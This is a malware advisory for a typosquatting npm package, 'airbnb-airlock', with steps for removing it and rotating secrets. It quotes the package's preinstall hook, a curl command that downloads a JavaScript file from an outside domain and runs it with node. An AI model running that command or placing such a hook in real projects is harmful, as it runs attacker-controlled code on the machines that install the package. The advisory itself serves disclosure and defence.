MAL-2026-6293 Malicious code in airbnb-airlock (npm)
Malicious package
Published
MAL-2026-6293 is a malicious package: airbnb-airlock (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-6293/ (Markdown: https://insights.sbomify.com/MAL-2026-6293/index.md)
- Package
- airbnb-airlock
- Registry
- npm
What is MAL-2026-6293?
MAL-2026-6293 is a malicious package in airbnb-airlock, published on 23 Jun 2026.
Official description
The package's preinstall lifecycle hook in package.json runs
curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching an unpinned JavaScript file from poc.amanrawat.com and immediately executing it with node during npm install. The fetched content is mutable and entirely controlled by the operator of that domain — installers run whatever bytes are served at install time, with no hash or signature verification. The package ships no other functional content; the remote fetch-and-execute is its only behavior. The package name uses the 'airbnb-' prefix to impersonate the Airbnb open-source namespace while being published by an unrelated author with a placeholder description ('Test') and an inflated version (99.0.0), consistent with namespace impersonation intended to lure installers searching for Airbnb tooling.What should I do about MAL-2026-6293?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
Sources
Also known as GHSA-mx2w-2q79-99vv.